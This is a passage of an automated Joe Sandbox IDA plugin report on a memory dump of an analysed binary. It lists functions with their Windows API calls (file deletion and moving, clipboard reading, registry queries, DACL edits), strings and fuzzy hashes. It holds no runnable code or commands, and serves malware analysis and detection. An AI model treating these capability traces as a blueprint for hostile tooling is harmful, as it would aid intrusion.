__wsplitpath.LIBCMT ref: 00D86BE2
FindFirstFileW.KERNEL32(?,?), ref: 00D86BF8
_wcscpy.LIBCMT ref: 00D86C57
_wcscat.LIBCMT ref: 00D86C6A
_wcscat.LIBCMT ref: 00D86C7D
lstrcmpiW.KERNEL32(?,?), ref: 00D86CAB
DeleteFileW.KERNEL32(?), ref: 00D86CBC
MoveFileW.KERNEL32(?,?), ref: 00D86CDB
MoveFileW.KERNEL32(?,?), ref: 00D86CEA
CopyFileW.KERNEL32(?,?,00000000), ref: 00D86CFF
DeleteFileW.KERNEL32(?), ref: 00D86D10
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D86D37
FindClose.KERNEL32(00000000), ref: 00D86D53
FindClose.KERNEL32(00000000), ref: 00D86D61

Strings

\*.*, xrefs: 00D86B8C, 00D86B9B, 00D86BB9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteMove$AttributesCopyFirstFullNameNextPath_wcscpylstrcmpi
String ID: \*.*
API String ID: 1867810238-1173974218
Opcode ID: ffd499dfc715ff205a5a5fc5e89c481b62dac19281df269f438e34ffcc6f17c5
Instruction ID: 46b775154a2db7da6a5eac5c391bba0fa63b6119d026109e7811392b009be579
Opcode Fuzzy Hash: ffd499dfc715ff205a5a5fc5e89c481b62dac19281df269f438e34ffcc6f17c5
Instruction Fuzzy Hash: 91512F72904259AACB21EBA0DC45EEE777DAF09314F0845E6E559E3141EB30EB88CF71

Function 00D97099 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00DDDBF0), ref: 00D970C3
IsClipboardFormatAvailable.USER32(0000000D), ref: 00D970D1
GetClipboardData.USER32(0000000D), ref: 00D970D9
CloseClipboard.USER32 ref: 00D970E5
GlobalLock.KERNEL32(00000000), ref: 00D97101
CloseClipboard.USER32 ref: 00D9710B
GlobalUnlock.KERNEL32(00000000), ref: 00D97120
IsClipboardFormatAvailable.USER32(00000001), ref: 00D9712D
GetClipboardData.USER32(00000001), ref: 00D97135
GlobalLock.KERNEL32(00000000), ref: 00D97142
GlobalUnlock.KERNEL32(00000000), ref: 00D97176
CloseClipboard.USER32 ref: 00D97283

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 4f2f3cb6bdc5b88b8af618c964774c98ea84334fb29ff1bc7090bfb7102218cd
Instruction ID: bcbe487fd20e6eb8a5927f13b90071eddd6cef9c6f561c018ac11e5104942dfd
Opcode Fuzzy Hash: 4f2f3cb6bdc5b88b8af618c964774c98ea84334fb29ff1bc7090bfb7102218cd
Instruction Fuzzy Hash: E151B231218306ABDB10EB64DC86F6EB7A9EF84B00F144529F586D62D1EB70D905CB72

Function 00D8FDD2 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00D8FE03
FindClose.KERNEL32(00000000), ref: 00D8FE57
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D8FE7C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D8FE93
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D8FEBA
__swprintf.LIBCMT ref: 00D8FF06
__swprintf.LIBCMT ref: 00D8FF3F

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

__swprintf.LIBCMT ref: 00D8FF93

Part of subcall function 00D6234B: __woutput_l.LIBCMT ref: 00D623A4

__swprintf.LIBCMT ref: 00D8FFE1
__swprintf.LIBCMT ref: 00D90030
__swprintf.LIBCMT ref: 00D9007F
__swprintf.LIBCMT ref: 00D900CE

Strings

%4d, xrefs: 00D8FF39
%4d%02d%02d%02d%02d%02d, xrefs: 00D8FF00
%02d, xrefs: 00D8FF88, 00D8FF91, 00D8FFDF, 00D9002E, 00D9007D, 00D900CC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 108614129-2428617273
Opcode ID: 4f5ba2769e10fde0337992eb9d428520c3fbe8888c67b253561142aa643197ce
Instruction ID: 5e1159402272f03afa410437a8b2746a79722774c7da9cc0736e3ce20e68ba5f
Opcode Fuzzy Hash: 4f5ba2769e10fde0337992eb9d428520c3fbe8888c67b253561142aa643197ce
Instruction Fuzzy Hash: BBA1FBB2418344ABC750EBA4CC86DAFB7EDEF94700F44092DB585C6151EB34EA49CBB2

Function 00D92044 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D92065
_wcscmp.LIBCMT ref: 00D9207A
_wcscmp.LIBCMT ref: 00D92091
GetFileAttributesW.KERNEL32(?), ref: 00D920A3
SetFileAttributesW.KERNEL32(?,?), ref: 00D920BD
FindNextFileW.KERNEL32(00000000,?), ref: 00D920D5
FindClose.KERNEL32(00000000), ref: 00D920E0
FindFirstFileW.KERNEL32(*.*,?), ref: 00D920FC
_wcscmp.LIBCMT ref: 00D92123
_wcscmp.LIBCMT ref: 00D9213A
SetCurrentDirectoryW.KERNEL32(?), ref: 00D9214C
SetCurrentDirectoryW.KERNEL32(00DF3A68), ref: 00D9216A
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D92174
FindClose.KERNEL32(00000000), ref: 00D92181
FindClose.KERNEL32(00000000), ref: 00D92191

Strings

*.*, xrefs: 00D920F7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 7c5bc64f36f4a913d85fa50444dc5b660f13ad1ec61fccf101f2423057be61b6
Instruction ID: 61bd5cb7c1f5d9d6a4b49ca5665542b8492f94856efac5a70d05adb3ff2e8cd7
Opcode Fuzzy Hash: 7c5bc64f36f4a913d85fa50444dc5b660f13ad1ec61fccf101f2423057be61b6
Instruction Fuzzy Hash: 35318F3150131A7FDF20EBA4EC48EEE77ADAF09360F184166F915E2190DB70DA54CA74

Function 00D9219F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D921C0
_wcscmp.LIBCMT ref: 00D921D5
_wcscmp.LIBCMT ref: 00D921EC

Part of subcall function 00D87606: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00D87621

FindNextFileW.KERNEL32(00000000,?), ref: 00D9221B
FindClose.KERNEL32(00000000), ref: 00D92226
FindFirstFileW.KERNEL32(*.*,?), ref: 00D92242
_wcscmp.LIBCMT ref: 00D92269
_wcscmp.LIBCMT ref: 00D92280
SetCurrentDirectoryW.KERNEL32(?), ref: 00D92292
SetCurrentDirectoryW.KERNEL32(00DF3A68), ref: 00D922B0
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D922BA
FindClose.KERNEL32(00000000), ref: 00D922C7
FindClose.KERNEL32(00000000), ref: 00D922D7

Strings

*.*, xrefs: 00D9223D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 9bbe7928a5a8d86abc2cef4fe9e455e11831bf8977b1c9de3877a407a7092430
Instruction ID: a2474906d562932958d17e2ff36cb37cd97f3a773e3a8175bd401c534ddcbbd1
Opcode Fuzzy Hash: 9bbe7928a5a8d86abc2cef4fe9e455e11831bf8977b1c9de3877a407a7092430
Instruction Fuzzy Hash: C631A33150171A7ECF24EBA4EC49EFE77ADAF45320F1841A5E910E2190DB70DA99CB78

Function 00D46BBC Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 891COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D46C22
_memmove.LIBCMT ref: 00D46D9A

Strings

\, xrefs: 00DC0A25
], xrefs: 00D46C04
\, xrefs: 00D46BEE
[, xrefs: 00D46C82
^, xrefs: 00D46BFB
Q\E, xrefs: 00D47548
\, xrefs: 00D46C8B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove_memset
String ID: Q\E$[$\$\$\$]$^
API String ID: 3555123492-286096704
Opcode ID: bcb99cfa304158f22a5ec74fff98cde099f366e86b9be36a5e34304828389253
Instruction ID: ad5bb6d6217b26869be6004c1848ed4c398ae57857fade744dfaedcbf1a7971f
Opcode Fuzzy Hash: bcb99cfa304158f22a5ec74fff98cde099f366e86b9be36a5e34304828389253
Instruction Fuzzy Hash: D1728E71D0421ACBDF24CF98C880BADBBB1FF45314F2981A9D856AB241D734EE81DB61

Function 00D6BDF6 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2448ee7af9cdf7adb144507c0fe7a752f1f8e4c680bd73b39a2851d73ee01706
Instruction ID: e0069ca0c532efa7df97e52646ac07bff840b833168756575a3498cf197b8962
Opcode Fuzzy Hash: 2448ee7af9cdf7adb144507c0fe7a752f1f8e4c680bd73b39a2851d73ee01706
Instruction Fuzzy Hash: 55326D75B122698FDB24CF59DC40AE9B7B5FB4A310F4841D9E44AE7A81D7309E80CF62

Function 00D7B398 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D7B903
Part of subcall function 00D7B8E7: GetLastError.KERNEL32(?,00D7B3CB,?,?,?), ref: 00D7B90D
Part of subcall function 00D7B8E7: GetProcessHeap.KERNEL32(00000008,?,?,00D7B3CB,?,?,?), ref: 00D7B91C
Part of subcall function 00D7B8E7: HeapAlloc.KERNEL32(00000000,?,00D7B3CB,?,?,?), ref: 00D7B923
Part of subcall function 00D7B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D7B93A

Part of subcall function 00D7B982: GetProcessHeap.KERNEL32(00000008,00D7B3E1,00000000,00000000,?,00D7B3E1,?), ref: 00D7B98E
Part of subcall function 00D7B982: HeapAlloc.KERNEL32(00000000,?,00D7B3E1,?), ref: 00D7B995
Part of subcall function 00D7B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00D7B3E1,?), ref: 00D7B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00D7B3FC
_memset.LIBCMT ref: 00D7B411
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00D7B430
GetLengthSid.ADVAPI32(?), ref: 00D7B441
GetAce.ADVAPI32(?,00000000,?), ref: 00D7B47E
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00D7B49A
GetLengthSid.ADVAPI32(?), ref: 00D7B4B7
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00D7B4C6
HeapAlloc.KERNEL32(00000000), ref: 00D7B4CD
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00D7B4EE
CopySid.ADVAPI32(00000000), ref: 00D7B4F5
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00D7B526
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00D7B54C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00D7B560

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: ed20d17a1e91926e7623dc7b2f496b55cdd72172c16250861df8bcd337ebdf56
Instruction ID: 7cf0f1db4f19ae91bb82fd717f5b5a11ea69a50776b3c675890074aa0fbcfd8d
Opcode Fuzzy Hash: ed20d17a1e91926e7623dc7b2f496b55cdd72172c16250861df8bcd337ebdf56
Instruction Fuzzy Hash: BA51077190020AAFDF00DFA4DC45EEEBB79FF04714F14812AE929A6291EB359A05DF70

Function 00D86E4A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D431B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00D431DA

Part of subcall function 00D87C0C: GetFileAttributesW.KERNEL32(?,00D86A7B), ref: 00D87C0D

_wcscat.LIBCMT ref: 00D86E7E
__wsplitpath.LIBCMT ref: 00D86E99
FindFirstFileW.KERNEL32(?,?), ref: 00D86EAE
_wcscpy.LIBCMT ref: 00D86EDD
_wcscat.LIBCMT ref: 00D86EEF
_wcscat.LIBCMT ref: 00D86F01
DeleteFileW.KERNEL32(?), ref: 00D86F0E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D86F22
FindClose.KERNEL32(00000000), ref: 00D86F3D

Strings

\*.*, xrefs: 00D86E78

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*
API String ID: 2643075503-1173974218
Opcode ID: 781e010814d7ee7789372b6bd3c071d5a8df3fe7a208a4ad2654df4056a9fab1
Instruction ID: 453e036bf692b25979fe0cb14c80cc74eb80f1059a6c9bf73a96c851bbce1d1a
Opcode Fuzzy Hash: 781e010814d7ee7789372b6bd3c071d5a8df3fe7a208a4ad2654df4056a9fab1
Instruction Fuzzy Hash: 1D21C172408345AEC611EBA4D8859DBBBDC9F59324F084A6AF5E4C3142EA30D60D8BB2

Function 00D45D32 Relevance: 17.1, Strings: 13, Instructions: 810COMMON

Download Yara Rule

Strings

CRLF), xrefs: 00D4624B
UTF16), xrefs: 00D46193
LIMIT_RECURSION=, xrefs: 00D46206
BSR_UNICODE), xrefs: 00DC3885
ANY), xrefs: 00D46262
LF), xrefs: 00D46234
LIMIT_MATCH=, xrefs: 00D461EF
UCP), xrefs: 00D461C1
CR), xrefs: 00D4621D
BSR_ANYCRLF), xrefs: 00D46290
UTF), xrefs: 00D461AA
NO_START_OPT), xrefs: 00D461D8
ANYCRLF), xrefs: 00D46279

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-2893523900
Opcode ID: 2b6d67ae9b37de36310937bb56b62546e11a9dfe48ecac201960d6b691d08de8
Instruction ID: 4a245ff098c3918e7afac84a76098468c61f3f059a6c4f849e39903d1b45decd
Opcode Fuzzy Hash: 2b6d67ae9b37de36310937bb56b62546e11a9dfe48ecac201960d6b691d08de8
Instruction Fuzzy Hash: 84625F71E0021A9BDF24DF59D881BAEB7B5BF49310F14816AE846EB281D770DE41CBA1

Function 00DA30AD Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DA2AA6,?,?), ref: 00DA3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DA317F

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00DA321E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00DA32B6
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00DA34F5
RegCloseKey.ADVAPI32(00000000), ref: 00DA3502

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 2bda794dccc4616e3dcaf0f5f5de07771e5b2c09d82144fdb92eb7c6396b7b03
Instruction ID: de561b3b2b9f772c7d81950c68a51b0b4f30b7e448c00354b7b1741a9c542851
Opcode Fuzzy Hash: 2bda794dccc4616e3dcaf0f5f5de07771e5b2c09d82144fdb92eb7c6396b7b03
Instruction Fuzzy Hash: 8FE16D71604301AFCB15DF28C895D2ABBEAEF89314F04896DF44ADB261DB31ED05CB61

Function 00D97294 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00D972BB
EmptyClipboard.USER32 ref: 00D972C1
GlobalAlloc.KERNEL32(00000002,?), ref: 00D972D6
CloseClipboard.USER32 ref: 00D97375

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 4eb299ffefe8313fa1989e14865a72fdc6bea6d49c6956e5e676834d2843228f
Instruction ID: a6b3d54052b72fb335e2e2ef4fd8a0c8425b5c9902553b3cabbfe4674f791d15
Opcode Fuzzy Hash: 4eb299ffefe8313fa1989e14865a72fdc6bea6d49c6956e5e676834d2843228f
Instruction Fuzzy Hash: 4E219F31254212AFDB00AF24DC49F2DBBA9EF44721F048029F94ADB3A1DB30E940DBB4

Function 00D9C604 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 00D7A857: CLSIDFromProgID.OLE32 ref: 00D7A874
Part of subcall function 00D7A857: ProgIDFromCLSID.OLE32(?,00000000), ref: 00D7A88F
Part of subcall function 00D7A857: lstrcmpiW.KERNEL32(?,00000000), ref: 00D7A89D
Part of subcall function 00D7A857: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00D7A8AD

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00D9C6AD
_memset.LIBCMT ref: 00D9C6BA
_memset.LIBCMT ref: 00D9C7D8
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 00D9C804
CoTaskMemFree.OLE32(?), ref: 00D9C80F

Strings

NULL Pointer assignment, xrefs: 00D9C85D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 6da8f4b8aca3822d0171536e3337c1517e49ff1bd5b7862cd4216f7ace204903
Instruction ID: 02b7d271c66247fa8d190e234dc1b4ef3e33633071ce111784aff555793d56d9
Opcode Fuzzy Hash: 6da8f4b8aca3822d0171536e3337c1517e49ff1bd5b7862cd4216f7ace204903
Instruction Fuzzy Hash: 3F912671D00219ABDF10DFA4DC81EDEBBB9EF08710F20816AE519A7291EB705A45CFB0

Function 00D924A9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00D924F6
Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00D92526
_wcscmp.LIBCMT ref: 00D9253A
_wcscmp.LIBCMT ref: 00D92555
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00D925F3
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00D92609

Strings

*.*, xrefs: 00D924D8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
